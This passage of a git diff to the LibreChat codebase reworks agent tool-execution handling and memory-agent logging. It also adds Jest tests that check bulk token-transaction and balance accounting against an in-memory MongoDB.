-              const result = await tool.invoke(tc.args, {
-                toolCall: toolCallConfig,
-                configurable: mergedConfigurable,
-                metadata,
-              } as Record<string, unknown>);
+                try {
+                  const toolCallConfig: Record<string, unknown> = {
+                    id: tc.id,
+                    stepId: tc.stepId,
+                    turn: tc.turn,
+                  };
 
-              if (toolEndCallback) {
-                await toolEndCallback(
-                  {
-                    output: {
-                      name: tc.name,
-                      tool_call_id: tc.id,
-                      content: result.content,
-                      artifact: result.artifact,
-                    },
-                  },
-                  {
-                    run_id: (metadata as Record<string, unknown>)?.run_id as string | undefined,
-                    thread_id: (metadata as Record<string, unknown>)?.thread_id as
-                      | string
-                      | undefined,
-                    ...metadata,
-                  },
-                );
-              }
+                  if (
+                    tc.codeSessionContext &&
+                    (tc.name === Constants.EXECUTE_CODE ||
+                      tc.name === Constants.PROGRAMMATIC_TOOL_CALLING)
+                  ) {
+                    toolCallConfig.session_id = tc.codeSessionContext.session_id;
+                    if (tc.codeSessionContext.files && tc.codeSessionContext.files.length > 0) {
+                      toolCallConfig._injected_files = tc.codeSessionContext.files;
+                    }
+                  }
 
-              return {
-                toolCallId: tc.id,
-                content: result.content,
-                artifact: result.artifact,
-                status: 'success' as const,
-              };
-            } catch (toolError) {
-              const error = toolError as Error;
-              logger.error(`[ON_TOOL_EXECUTE] Tool ${tc.name} error:`, error);
-              return {
-                toolCallId: tc.id,
-                status: 'error' as const,
-                content: '',
-                errorMessage: error.message,
-              };
-            }
-          }),
-        );
+                  if (tc.name === Constants.PROGRAMMATIC_TOOL_CALLING) {
+                    const toolRegistry = mergedConfigurable?.toolRegistry as
+                      | LCToolRegistry
+                      | undefined;
+                    const ptcToolMap = mergedConfigurable?.ptcToolMap as
+                      | Map<string, StructuredToolInterface>
+                      | undefined;
+                    if (toolRegistry) {
+                      const toolDefs: LCTool[] = Array.from(toolRegistry.values()).filter(
+                        (t) =>
+                          t.name !== Constants.PROGRAMMATIC_TOOL_CALLING &&
+                          t.name !== Constants.TOOL_SEARCH,
+                      );
+                      toolCallConfig.toolDefs = toolDefs;
+                      toolCallConfig.toolMap = ptcToolMap ?? toolMap;
+                    }
+                  }
 
-        resolve(results);
-      } catch (error) {
-        logger.error('[ON_TOOL_EXECUTE] Fatal error:', error);
-        reject(error as Error);
+                  const result = await tool.invoke(tc.args, {
+                    toolCall: toolCallConfig,
+                    configurable: mergedConfigurable,
+                    metadata,
+                  } as Record<string, unknown>);
+
+                  if (toolEndCallback) {
+                    await toolEndCallback(
+                      {
+                        output: {
+                          name: tc.name,
+                          tool_call_id: tc.id,
+                          content: result.content,
+                          artifact: result.artifact,
+                        },
+                      },
+                      {
+                        run_id: (metadata as Record<string, unknown>)?.run_id as string | undefined,
+                        thread_id: (metadata as Record<string, unknown>)?.thread_id as
+                          | string
+                          | undefined,
+                        ...metadata,
+                      },
+                    );
+                  }
+
+                  return {
+                    toolCallId: tc.id,
+                    content: result.content,
+                    artifact: result.artifact,
+                    status: 'success' as const,
+                  };
+                } catch (toolError) {
+                  const error = toolError as Error;
+                  logger.error(`[ON_TOOL_EXECUTE] Tool ${tc.name} error:`, error);
+                  return {
+                    toolCallId: tc.id,
+                    status: 'error' as const,
+                    content: '',
+                    errorMessage: error.message,
+                  };
+                }
+              }),
+            );
+
+            resolve(results);
+          } catch (error) {
+            logger.error('[ON_TOOL_EXECUTE] Fatal error:', error);
+            reject(error as Error);
+          }
+        });
+      } catch (outerError) {
+        logger.error('[ON_TOOL_EXECUTE] Unexpected error:', outerError);
+        reject(outerError as Error);
       }
     },
   };
diff --git a/packages/api/src/agents/index.ts b/packages/api/src/agents/index.ts
index 9d13b3dd8e..47e15b8c28 100644
--- a/packages/api/src/agents/index.ts
+++ b/packages/api/src/agents/index.ts
@@ -9,6 +9,7 @@ export * from './legacy';
 export * from './memory';
 export * from './migration';
 export * from './openai';
+export * from './transactions';
 export * from './usage';
 export * from './resources';
 export * from './responses';
diff --git a/packages/api/src/agents/memory.ts b/packages/api/src/agents/memory.ts
index bb4bd38282..b7ae8a8123 100644
--- a/packages/api/src/agents/memory.ts
+++ b/packages/api/src/agents/memory.ts
@@ -19,7 +19,8 @@ import type { TAttachment, MemoryArtifact } from 'librechat-data-provider';
 import type { BaseMessage, ToolMessage } from '@langchain/core/messages';
 import type { Response as ServerResponse } from 'express';
 import { GenerationJobManager } from '~/stream/GenerationJobManager';
-import { Tokenizer, resolveHeaders, createSafeUser } from '~/utils';
+import { resolveHeaders, createSafeUser } from '~/utils';
+import Tokenizer from '~/utils/tokenizer';
 
 type RequiredMemoryMethods = Pick<
   MemoryMethods,
@@ -475,13 +476,21 @@ ${memory ?? 'No existing memories'}`;
     };
     const content = await run.processStream(inputs, config);
     if (content) {
-      logger.debug('Memory Agent processed memory successfully', content);
+      logger.debug('[MemoryAgent] Processed successfully', {
+        userId,
+        conversationId,
+        messageId,
+        provider: llmConfig?.provider,
+      });
     } else {
-      logger.warn('Memory Agent processed memory but returned no content');
+      logger.debug('[MemoryAgent] Returned no content', { userId, conversationId, messageId });
     }
     return await Promise.all(artifactPromises);
   } catch (error) {
-    logger.error('Memory Agent failed to process memory', error);
+    logger.error(
+      `[MemoryAgent] Failed to process memory | userId: ${userId} | conversationId: ${conversationId} | messageId: ${messageId}`,
+      { error },
+    );
   }
 }
 
diff --git a/packages/api/src/agents/transactions.bulk-parity.spec.ts b/packages/api/src/agents/transactions.bulk-parity.spec.ts
new file mode 100644
index 0000000000..bf89682d6f
--- /dev/null
+++ b/packages/api/src/agents/transactions.bulk-parity.spec.ts
@@ -0,0 +1,559 @@
+/**
+ * Real-DB parity tests for the bulk transaction path.
+ *
+ * Each test uses the actual getMultiplier/getCacheMultiplier pricing functions
+ * (the same ones the legacy createTransaction path uses) and runs the bulk path
+ * against a real MongoMemoryServer instance.
+ *
+ * The assertion pattern: compute the expected tokenValue/rate/rawAmount from the
+ * pricing functions directly, then verify the DB state matches exactly. Since both
+ * legacy (createTransaction) and bulk (prepareTokenSpend + bulkWriteTransactions)
+ * call the same pricing functions with the same inputs, their outputs must be
+ * numerically identical.
+ */
+import mongoose from 'mongoose';
+import { MongoMemoryServer } from 'mongodb-memory-server';
+import {
+  CANCEL_RATE,
+  createMethods,
+  balanceSchema,
+  transactionSchema,
+} from '@librechat/data-schemas';
+import type { PricingFns, TxMetadata } from './transactions';
+import {
+  prepareStructuredTokenSpend,
+  bulkWriteTransactions,
+  prepareTokenSpend,
+} from './transactions';
+
+jest.mock('@librechat/data-schemas', () => {
+  const actual = jest.requireActual('@librechat/data-schemas');
+  return {
+    ...actual,
+    logger: { debug: jest.fn(), error: jest.fn(), warn: jest.fn(), info: jest.fn() },
+  };
+});
+
+// Real pricing functions from api/models/tx.js — same ones the legacy path uses
+/* eslint-disable @typescript-eslint/no-require-imports */
+const {
+  getMultiplier,
+  getCacheMultiplier,
+  tokenValues,
+  premiumTokenValues,
+} = require('../../../../api/models/tx.js');
+/* eslint-enable @typescript-eslint/no-require-imports */
+
+const pricing: PricingFns = { getMultiplier, getCacheMultiplier };
+
+let mongoServer: MongoMemoryServer;
+let Transaction: mongoose.Model<unknown>;
+let Balance: mongoose.Model<unknown>;
+let dbMethods: ReturnType<typeof createMethods>;
+
+beforeAll(async () => {
+  mongoServer = await MongoMemoryServer.create();
+  await mongoose.connect(mongoServer.getUri());
+  Transaction = mongoose.models.Transaction || mongoose.model('Transaction', transactionSchema);
+  Balance = mongoose.models.Balance || mongoose.model('Balance', balanceSchema);
+  dbMethods = createMethods(mongoose);
+});
+
+afterAll(async () => {
+  await mongoose.disconnect();
+  await mongoServer.stop();
+});
+
+beforeEach(async () => {
+  await mongoose.connection.dropDatabase();
+});
+
+const dbOps = () => ({
+  insertMany: dbMethods.bulkInsertTransactions,
+  updateBalance: dbMethods.updateBalance,
+});
+
+function txMeta(user: string, extra: Partial<TxMetadata> = {}): TxMetadata {
+  return {
+    user,
+    conversationId: 'test-convo',
+    context: 'test',
+    balance: { enabled: true },
+    transactions: { enabled: true },
+    ...extra,
+  };
+}
+
+describe('Standard token parity', () => {
+  test('balance should decrease by promptCost + completionCost — identical to legacy path', async () => {
+    const userId = new mongoose.Types.ObjectId().toString();
+    const initialBalance = 10000000;
+    await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+    const model = 'gpt-3.5-turbo';
+    const promptTokens = 100;
+    const completionTokens = 50;
+
+    const promptMultiplier = getMultiplier({
+      model,
+      tokenType: 'prompt',
+      inputTokenCount: promptTokens,
+    });
+    const completionMultiplier = getMultiplier({
+      model,
+      tokenType: 'completion',
+      inputTokenCount: promptTokens,
+    });
+    const expectedCost = promptTokens * promptMultiplier + completionTokens * completionMultiplier;
+    const expectedBalance = initialBalance - expectedCost;
+
+    const entries = prepareTokenSpend(
+      txMeta(userId, { model }),
+      { promptTokens, completionTokens },
+      pricing,
+    );
+    await bulkWriteTransactions({ user: userId, docs: entries }, dbOps());
+
+    const balance = (await Balance.findOne({ user: userId }).lean()) as Record<string, unknown>;
+    expect(balance.tokenCredits).toBeCloseTo(expectedBalance, 0);
+
+    const txns = (await Transaction.find({ user: userId }).lean()) as Record<string, unknown>[];
+    expect(txns).toHaveLength(2);
+    const promptTx = txns.find((t) => t.tokenType === 'prompt');
+    const completionTx = txns.find((t) => t.tokenType === 'completion');
+    expect(promptTx!.rawAmount).toBe(-promptTokens);
+    expect(promptTx!.rate).toBe(promptMultiplier);
+    expect(promptTx!.tokenValue).toBe(-promptTokens * promptMultiplier);
+    expect(completionTx!.rawAmount).toBe(-completionTokens);
+    expect(completionTx!.rate).toBe(completionMultiplier);
+    expect(completionTx!.tokenValue).toBe(-completionTokens * completionMultiplier);
+  });
+
+  test('balance unchanged when balance.enabled is false — identical to legacy path', async () => {
+    const userId = new mongoose.Types.ObjectId().toString();
+    const initialBalance = 10000000;
+    await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+    const entries = prepareTokenSpend(
+      txMeta(userId, { model: 'gpt-3.5-turbo', balance: { enabled: false } }),
+      { promptTokens: 100, completionTokens: 50 },
+      pricing,
+    );
+    await bulkWriteTransactions({ user: userId, docs: entries }, dbOps());
+
+    const balance = (await Balance.findOne({ user: userId }).lean()) as Record<string, unknown>;
+    expect(balance.tokenCredits).toBe(initialBalance);
+    const txns = await Transaction.find({ user: userId }).lean();
+    expect(txns).toHaveLength(2); // transactions still inserted
+  });
+
+  test('no docs when transactions.enabled is false — identical to legacy path', async () => {
+    const userId = new mongoose.Types.ObjectId().toString();
+    const initialBalance = 10000000;
+    await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+    const entries = prepareTokenSpend(
+      txMeta(userId, { model: 'gpt-3.5-turbo', transactions: { enabled: false } }),
+      { promptTokens: 100, completionTokens: 50 },
+      pricing,
+    );
+    await bulkWriteTransactions({ user: userId, docs: entries }, dbOps());
+
+    const txns = await Transaction.find({ user: userId }).lean();
+    expect(txns).toHaveLength(0);
+    const balance = (await Balance.findOne({ user: userId }).lean()) as Record<string, unknown>;
+    expect(balance.tokenCredits).toBe(initialBalance);
+  });
+
+  test('abort context — transactions inserted, no balance update when balance not passed', async () => {
+    const userId = new mongoose.Types.ObjectId().toString();
+    const initialBalance = 10000000;
+    await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+    const model = 'gpt-3.5-turbo';
+    const entries = prepareTokenSpend(
+      txMeta(userId, { model, context: 'abort', balance: undefined }),
+      { promptTokens: 100, completionTokens: 50 },
+      pricing,
+    );
+    await bulkWriteTransactions({ user: userId, docs: entries }, dbOps());
+
+    const txns = await Transaction.find({ user: userId }).lean();
+    expect(txns).toHaveLength(2);
+    const balance = (await Balance.findOne({ user: userId }).lean()) as Record<string, unknown>;
+    expect(balance.tokenCredits).toBe(initialBalance);
+  });
+
+  test('NaN promptTokens — only completion doc inserted, identical to legacy', async () => {
+    const userId = new mongoose.Types.ObjectId().toString();
+    const initialBalance = 10000000;
+    await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+    const entries = prepareTokenSpend(
+      txMeta(userId, { model: 'gpt-3.5-turbo' }),
+      { promptTokens: NaN, completionTokens: 50 },
+      pricing,
+    );
+    await bulkWriteTransactions({ user: userId, docs: entries }, dbOps());
+
+    const txns = (await Transaction.find({ user: userId }).lean()) as Record<string, unknown>[];
+    expect(txns).toHaveLength(1);
+    expect(txns[0].tokenType).toBe('completion');
+  });
+
+  test('zero tokens produce docs with rawAmount=0, tokenValue=0', async () => {
+    const userId = new mongoose.Types.ObjectId().toString();
+    await Balance.create({ user: userId, tokenCredits: 10000 });
+
+    const entries = prepareTokenSpend(
+      txMeta(userId, { model: 'gpt-3.5-turbo' }),
+      { promptTokens: 0, completionTokens: 0 },
+      pricing,
+    );
+    await bulkWriteTransactions({ user: userId, docs: entries }, dbOps());
+
+    const txns = (await Transaction.find({ user: userId }).lean()) as Record<string, unknown>[];
+    expect(txns).toHaveLength(2);
+    expect(txns.every((t) => t.rawAmount === 0)).toBe(true);
+    expect(txns.every((t) => t.tokenValue === 0)).toBe(true);
+  });
+});
+
+describe('CANCEL_RATE parity (incomplete context)', () => {
+  test('CANCEL_RATE applied to completion token — same tokenValue as legacy', async () => {
+    const userId = new mongoose.Types.ObjectId().toString();
+    await Balance.create({ user: userId, tokenCredits: 10000000 });
+
+    const model = 'claude-3-5-sonnet';
+    const completionTokens = 50;
+    const promptTokens = 10;
+
+    const completionMultiplier = getMultiplier({
+      model,
+      tokenType: 'completion',
+      inputTokenCount: promptTokens,
+    });
+    const expectedCompletionTokenValue = Math.ceil(
+      -completionTokens * completionMultiplier * CANCEL_RATE,
+    );
+
+    const entries = prepareTokenSpend(
+      txMeta(userId, { model, context: 'incomplete' }),
+      { promptTokens, completionTokens },
+      pricing,
+    );
+    await bulkWriteTransactions({ user: userId, docs: entries }, dbOps());
+
+    const txns = (await Transaction.find({ user: userId }).lean()) as Record<string, unknown>[];
+    const completionTx = txns.find((t) => t.tokenType === 'completion');
+    expect(completionTx!.tokenValue).toBe(expectedCompletionTokenValue);
+    expect(completionTx!.rate).toBeCloseTo(completionMultiplier * CANCEL_RATE, 5);
+  });
+
+  test('CANCEL_RATE NOT applied to prompt tokens in incomplete context', async () => {
+    const userId = new mongoose.Types.ObjectId().toString();
+    await Balance.create({ user: userId, tokenCredits: 10000000 });
+
+    const model = 'claude-3-5-sonnet';
+    const promptTokens = 100;
+
+    const promptMultiplier = getMultiplier({
+      model,
+      tokenType: 'prompt',
+      inputTokenCount: promptTokens,
+    });
+
+    const entries = prepareTokenSpend(
+      txMeta(userId, { model, context: 'incomplete' }),
+      { promptTokens, completionTokens: 0 },
+      pricing,
+    );
+    await bulkWriteTransactions({ user: userId, docs: entries }, dbOps());
+
+    const txns = (await Transaction.find({ user: userId }).lean()) as Record<string, unknown>[];
+    const promptTx = txns.find((t) => t.tokenType === 'prompt');
+    expect(promptTx!.rate).toBe(promptMultiplier); // no CANCEL_RATE
+  });
+});
+
+describe('Structured token parity', () => {
+  test('balance deduction identical to legacy spendStructuredTokens', async () => {
+    const userId = new mongoose.Types.ObjectId().toString();
+    const initialBalance = 17613154.55;
+    await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+    const model = 'claude-3-5-sonnet';
+    const tokenUsage = {
+      promptTokens: { input: 11, write: 140522, read: 0 },
+      completionTokens: 5,
+    };
+
+    const promptMultiplier = getMultiplier({
+      model,
+      tokenType: 'prompt',
+      inputTokenCount: 11 + 140522,
+    });
+    const completionMultiplier = getMultiplier({
+      model,
+      tokenType: 'completion',
+      inputTokenCount: 11 + 140522,
+    });
+    const writeMultiplier = getCacheMultiplier({ model, cacheType: 'write' }) ?? promptMultiplier;
+    const readMultiplier = getCacheMultiplier({ model, cacheType: 'read' }) ?? promptMultiplier;
+
+    const expectedPromptCost =
+      tokenUsage.promptTokens.input * promptMultiplier +
+      tokenUsage.promptTokens.write * writeMultiplier +
+      tokenUsage.promptTokens.read * readMultiplier;
+    const expectedCompletionCost = tokenUsage.completionTokens * completionMultiplier;
+    const expectedTotalCost = expectedPromptCost + expectedCompletionCost;
+    const expectedBalance = initialBalance - expectedTotalCost;
+
+    const entries = prepareStructuredTokenSpend(txMeta(userId, { model }), tokenUsage, pricing);
+    await bulkWriteTransactions({ user: userId, docs: entries }, dbOps());
+
+    const balance = (await Balance.findOne({ user: userId }).lean()) as Record<string, unknown>;
+    expect(Math.abs((balance.tokenCredits as number) - expectedBalance)).toBeLessThan(100);
+
+    const txns = (await Transaction.find({ user: userId }).lean()) as Record<string, unknown>[];
+    const promptTx = txns.find((t) => t.tokenType === 'prompt');
+    expect(promptTx!.inputTokens).toBe(-11);
+    expect(promptTx!.writeTokens).toBe(-140522);
+    expect(Math.abs(Number(promptTx!.readTokens ?? 0))).toBe(0);
+  });
+
+  test('structured tokens with both cache_creation and cache_read', async () => {
+    const userId = new mongoose.Types.ObjectId().toString();
+    const initialBalance = 10000000;
+    await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+    const model = 'claude-3-5-sonnet';
+    const tokenUsage = {
+      promptTokens: { input: 100, write: 50, read: 30 },
+      completionTokens: 80,
+    };
+    const totalInput = 180;
+
+    const promptMultiplier = getMultiplier({
+      model,
+      tokenType: 'prompt',
+      inputTokenCount: totalInput,
+    });
+    const writeMultiplier = getCacheMultiplier({ model, cacheType: 'write' }) ?? promptMultiplier;
+    const readMultiplier = getCacheMultiplier({ model, cacheType: 'read' }) ?? promptMultiplier;
+    const completionMultiplier = getMultiplier({
+      model,
+      tokenType: 'completion',
+      inputTokenCount: totalInput,
+    });
+
+    const expectedPromptCost = 100 * promptMultiplier + 50 * writeMultiplier + 30 * readMultiplier;
+    const expectedCost = expectedPromptCost + 80 * completionMultiplier;
+
+    const entries = prepareStructuredTokenSpend(txMeta(userId, { model }), tokenUsage, pricing);
+    await bulkWriteTransactions({ user: userId, docs: entries }, dbOps());
+
+    const txns = (await Transaction.find({ user: userId }).lean()) as Record<string, unknown>[];
+    expect(txns).toHaveLength(2);
+    const promptTx = txns.find((t) => t.tokenType === 'prompt');
+    expect(promptTx!.inputTokens).toBe(-100);
+    expect(promptTx!.writeTokens).toBe(-50);
+    expect(promptTx!.readTokens).toBe(-30);
+
+    const balance = (await Balance.findOne({ user: userId }).lean()) as Record<string, unknown>;
+    expect(
+      Math.abs((balance.tokenCredits as number) - (initialBalance - expectedCost)),
+    ).toBeLessThan(1);
+  });
+
+  test('CANCEL_RATE applied to completion in structured incomplete context', async () => {
+    const userId = new mongoose.Types.ObjectId().toString();
+    await Balance.create({ user: userId, tokenCredits: 17613154.55 });
+
+    const model = 'claude-3-5-sonnet';
+    const tokenUsage = {
+      promptTokens: { input: 10, write: 100, read: 5 },
+      completionTokens: 50,
+    };
+
+    const completionMultiplier = getMultiplier({
+      model,
+      tokenType: 'completion',
+      inputTokenCount: 115,
+    });
+    const expectedCompletionTokenValue = Math.ceil(-50 * completionMultiplier * CANCEL_RATE);
+
+    const entries = prepareStructuredTokenSpend(
+      txMeta(userId, { model, context: 'incomplete' }),
+      tokenUsage,
+      pricing,
+    );
+    await bulkWriteTransactions({ user: userId, docs: entries }, dbOps());
+
+    const txns = (await Transaction.find({ user: userId }).lean()) as Record<string, unknown>[];
+    const completionTx = txns.find((t) => t.tokenType === 'completion');
+    expect(completionTx!.tokenValue).toBeCloseTo(expectedCompletionTokenValue, 0);
+  });
+});
+
+describe('Premium pricing parity', () => {
+  test('standard pricing below threshold — identical to legacy', async () => {
+    const userId = new mongoose.Types.ObjectId().toString();
+    const initialBalance = 100000000;
+    await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+    const model = 'claude-opus-4-6';
+    const promptTokens = 100000;
+    const completionTokens = 500;
+
+    const standardPromptRate = (tokenValues as Record<string, Record<string, number>>)[model]
+      .prompt;
+    const standardCompletionRate = (tokenValues as Record<string, Record<string, number>>)[model]
+      .completion;
+    const expectedCost =
+      promptTokens * standardPromptRate + completionTokens * standardCompletionRate;
+
+    const entries = prepareTokenSpend(
+      txMeta(userId, { model }),
+      { promptTokens, completionTokens },
+      pricing,
+    );
+    await bulkWriteTransactions({ user: userId, docs: entries }, dbOps());
+
+    const balance = (await Balance.findOne({ user: userId }).lean()) as Record<string, unknown>;
+    expect(balance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
+  });
+
+  test('premium pricing above threshold — identical to legacy', async () => {
+    const userId = new mongoose.Types.ObjectId().toString();
+    const initialBalance = 100000000;
+    await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+    const model = 'claude-opus-4-6';
+    const promptTokens = 250000;
+    const completionTokens = 500;
+
+    const premiumPromptRate = (premiumTokenValues as Record<string, Record<string, number>>)[model]
+      .prompt;
+    const premiumCompletionRate = (premiumTokenValues as Record<string, Record<string, number>>)[
+      model
+    ].completion;
+    const expectedCost =
+      promptTokens * premiumPromptRate + completionTokens * premiumCompletionRate;
+
+    const entries = prepareTokenSpend(
+      txMeta(userId, { model }),
+      { promptTokens, completionTokens },
+      pricing,
+    );
+    await bulkWriteTransactions({ user: userId, docs: entries }, dbOps());
+
+    const balance = (await Balance.findOne({ user: userId }).lean()) as Record<string, unknown>;
+    expect(balance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
+  });
+
+  test('standard pricing at exactly the threshold — identical to legacy', async () => {
+    const userId = new mongoose.Types.ObjectId().toString();
+    const initialBalance = 100000000;
+    await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+    const model = 'claude-opus-4-6';
+    const promptTokens = (premiumTokenValues as Record<string, Record<string, number>>)[model]
+      .threshold;
+    const completionTokens = 500;
+
+    const standardPromptRate = (tokenValues as Record<string, Record<string, number>>)[model]
+      .prompt;
+    const standardCompletionRate = (tokenValues as Record<string, Record<string, number>>)[model]
+      .completion;
+    const expectedCost =
+      promptTokens * standardPromptRate + completionTokens * standardCompletionRate;
+
+    const entries = prepareTokenSpend(
+      txMeta(userId, { model }),
+      { promptTokens, completionTokens },
+      pricing,
+    );
+    await bulkWriteTransactions({ user: userId, docs: entries }, dbOps());
+
+    const balance = (await Balance.findOne({ user: userId }).lean()) as Record<string, unknown>;
+    expect(balance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
+  });
+});
+
+describe('Multi-entry batch parity', () => {
+  test('real-world sequential tool calls — total balance deduction identical to N individual legacy calls', async () => {
+    const userId = new mongoose.Types.ObjectId().toString();
+    const initialBalance = 100000000;
+    await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+    const model = 'claude-opus-4-5-20251101';
+    const calls = [
+      { promptTokens: 31596, completionTokens: 151 },
+      { promptTokens: 35368, completionTokens: 150 },
+      { promptTokens: 58362, completionTokens: 295 },
+      { promptTokens: 112604, completionTokens: 193 },
+      { promptTokens: 257440, completionTokens: 2217 },
+    ];
+
+    let expectedTotalCost = 0;
+    const allEntries = [];
+    for (const { promptTokens, completionTokens } of calls) {
+      const pm = getMultiplier({ model, tokenType: 'prompt', inputTokenCount: promptTokens });
+      const cm = getMultiplier({ model, tokenType: 'completion', inputTokenCount: promptTokens });
+      expectedTotalCost += promptTokens * pm + completionTokens * cm;
+      const entries = prepareTokenSpend(
+        txMeta(userId, { model }),
+        { promptTokens, completionTokens },
+        pricing,
+      );
+      allEntries.push(...entries);
+    }
+
+    await bulkWriteTransactions({ user: userId, docs: allEntries }, dbOps());
+
+    const txns = await Transaction.find({ user: userId }).lean();
+    expect(txns).toHaveLength(10); // 5 calls × 2 docs
+
+    const balance = (await Balance.findOne({ user: userId }).lean()) as Record<string, unknown>;
+    expect(balance.tokenCredits).toBeCloseTo(initialBalance - expectedTotalCost, 0);
+  });
+
+  test('structured premium above threshold — batch vs individual produce same balance deduction', async () => {
+    const userId = new mongoose.Types.ObjectId().toString();
+    const initialBalance = 100000000;
+    await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+    const model = 'claude-opus-4-6';
+    const tokenUsage = {
+      promptTokens: { input: 200000, write: 10000, read: 5000 },
+      completionTokens: 1000,
+    };
+    const totalInput = 215000;
+
+    const premiumPromptRate = (premiumTokenValues as Record<string, Record<string, number>>)[model]
+      .prompt;
+    const premiumCompletionRate = (premiumTokenValues as Record<string, Record<string, number>>)[
+      model
+    ].completion;
+    const writeMultiplier = getCacheMultiplier({ model, cacheType: 'write' });
+    const readMultiplier = getCacheMultiplier({ model, cacheType: 'read' });
+
+    const expectedPromptCost =
+      tokenUsage.promptTokens.input * premiumPromptRate +
+      tokenUsage.promptTokens.write * writeMultiplier +
+      tokenUsage.promptTokens.read * readMultiplier;
+    const expectedCompletionCost = tokenUsage.completionTokens * premiumCompletionRate;
+    const expectedTotalCost = expectedPromptCost + expectedCompletionCost;
+
+    expect(totalInput).toBeGreaterThan(
+      (premiumTokenValues as Record<string, Record<string, number>>)[model].threshold,
+    );
+
+    const entries = prepareStructuredTokenSpend(txMeta(userId, { model }), tokenUsage, pricing);
+    await bulkWriteTransactions({ user: userId, docs: entries }, dbOps());
+
+    const balance = (await Balance.findOne({ user: userId }).lean()) as Record<string, unknown>;
+    expect(balance.tokenCredits).toBeCloseTo(initialBalance - expectedTotalCost, 0);
+  });
+});
diff --git a/packages/api/src/agents/transactions.spec.ts b/packages/api/src/agents/transactions.spec.ts
new file mode 100644
index 0000000000..99fb7cdd85
--- /dev/null
+++ b/packages/api/src/agents/transactions.spec.ts
@@ -0,0 +1,474 @@
+import mongoose from 'mongoose';
+import { MongoMemoryServer } from 'mongodb-memory-server';
+import {
+  CANCEL_RATE,
+  createMethods,
+  balanceSchema,
+  transactionSchema,
+} from '@librechat/data-schemas';
+import type { PricingFns, TxMetadata, PreparedEntry } from './transactions';
+import {
+  prepareStructuredTokenSpend,
+  bulkWriteTransactions,
+  prepareTokenSpend,
+} from './transactions';
+
+jest.mock('@librechat/data-schemas', () => {
+  const actual = jest.requireActual('@librechat/data-schemas');
+  return {
+    ...actual,
+    logger: {
+      debug: jest.fn(),
+      error: jest.fn(),
+      warn: jest.fn(),
+      info: jest.fn(),
+    },
+  };
+});
+
+let mongoServer: MongoMemoryServer;
+let Transaction: mongoose.Model<unknown>;
+let Balance: mongoose.Model<unknown>;
+let dbMethods: ReturnType<typeof createMethods>;
+
+beforeAll(async () => {
+  mongoServer = await MongoMemoryServer.create();
+  await mongoose.connect(mongoServer.getUri());
+  Transaction = mongoose.models.Transaction || mongoose.model('Transaction', transactionSchema);
+  Balance = mongoose.models.Balance || mongoose.model('Balance', balanceSchema);
+  dbMethods = createMethods(mongoose);
+});
+
+afterAll(async () => {
+  await mongoose.disconnect();
+  await mongoServer.stop();
+});
+
+beforeEach(async () => {
+  await mongoose.connection.dropDatabase();
+});
+
+const testUserId = new mongoose.Types.ObjectId().toString();
+
+const baseTxData: TxMetadata = {
+  user: testUserId,
+  context: 'message',
+  conversationId: 'convo-123',
+  model: 'gpt-4',
+  messageId: 'msg-123',
+  balance: { enabled: true },
+  transactions: { enabled: true },
+};
+
+const mockPricing: PricingFns = {
+  getMultiplier: jest.fn().mockReturnValue(2),
+  getCacheMultiplier: jest.fn().mockReturnValue(null),
+};
+
+describe('prepareTokenSpend', () => {
+  beforeEach(() => {
+    jest.clearAllMocks();
+  });
+
+  it('should prepare prompt + completion entries', () => {
+    const entries = prepareTokenSpend(
+      baseTxData,
+      { promptTokens: 100, completionTokens: 50 },
+      mockPricing,
+    );
+    expect(entries).toHaveLength(2);
+    expect(entries[0].doc.tokenType).toBe('prompt');
+    expect(entries[1].doc.tokenType).toBe('completion');
+  });
+
+  it('should return empty array when transactions disabled', () => {
+    const txData = { ...baseTxData, transactions: { enabled: false } };
+    const entries = prepareTokenSpend(
+      txData,
+      { promptTokens: 100, completionTokens: 50 },
+      mockPricing,
+    );
+    expect(entries).toHaveLength(0);
+  });
+
+  it('should filter out NaN rawAmount entries', () => {
+    const entries = prepareTokenSpend(
+      baseTxData,
+      { promptTokens: NaN, completionTokens: 50 },
+      mockPricing,
+    );
+    expect(entries).toHaveLength(1);
+    expect(entries[0].doc.tokenType).toBe('completion');
+  });
+
+  it('should handle promptTokens only', () => {
+    const entries = prepareTokenSpend(baseTxData, { promptTokens: 100 }, mockPricing);
+    expect(entries).toHaveLength(1);
+    expect(entries[0].doc.tokenType).toBe('prompt');
+  });
+
+  it('should handle completionTokens only', () => {
+    const entries = prepareTokenSpend(baseTxData, { completionTokens: 50 }, mockPricing);
+    expect(entries).toHaveLength(1);
+    expect(entries[0].doc.tokenType).toBe('completion');
+  });
+
+  it('should handle zero tokens', () => {
+    const entries = prepareTokenSpend(
+      baseTxData,
+      { promptTokens: 0, completionTokens: 0 },
+      mockPricing,
+    );
+    expect(entries).toHaveLength(2);
+    expect(entries[0].doc.rawAmount).toBe(0);
+    expect(entries[1].doc.rawAmount).toBe(0);
+  });
+
+  it('should calculate tokenValue using pricing multiplier', () => {
+    (mockPricing.getMultiplier as jest.Mock).mockReturnValue(3);
+    const entries = prepareTokenSpend(
+      baseTxData,
+      { promptTokens: 100, completionTokens: 50 },
+      mockPricing,
+    );
+    expect(entries[0].doc.rate).toBe(3);
+    expect(entries[0].doc.tokenValue).toBe(-100 * 3);
+    expect(entries[1].doc.rate).toBe(3);
+    expect(entries[1].doc.tokenValue).toBe(-50 * 3);
+  });
+
+  it('should pass valueKey to getMultiplier', () => {
+    prepareTokenSpend(baseTxData, { promptTokens: 100 }, mockPricing);
+    expect(mockPricing.getMultiplier).toHaveBeenCalledWith(
+      expect.objectContaining({ tokenType: 'prompt', model: 'gpt-4' }),
+    );
+  });
+
+  it('should carry balance config on each entry', () => {
+    const entries = prepareTokenSpend(
+      baseTxData,
+      { promptTokens: 100, completionTokens: 50 },
+      mockPricing,
+    );
+    for (const entry of entries) {
+      expect(entry.balance).toEqual({ enabled: true });
+    }
+  });
+});
+
